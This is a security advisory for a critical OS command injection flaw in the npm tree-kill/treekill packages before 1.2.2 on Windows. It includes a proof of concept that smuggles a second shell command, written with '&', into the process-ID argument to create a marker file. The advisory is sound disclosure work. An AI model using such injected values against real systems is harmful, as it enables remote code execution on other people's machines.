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GHSA-j7fq-p9q7-5wfv

Treekill Enables OS Command Injection

Source: GitHub Advisory Database (reviewed) Critical CVE-2019-15598

Packages

EcosystemPackageAffectedFixed in
npm tree-kill < 1.2.2 1.2.2

Details

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A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. ### Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created

References

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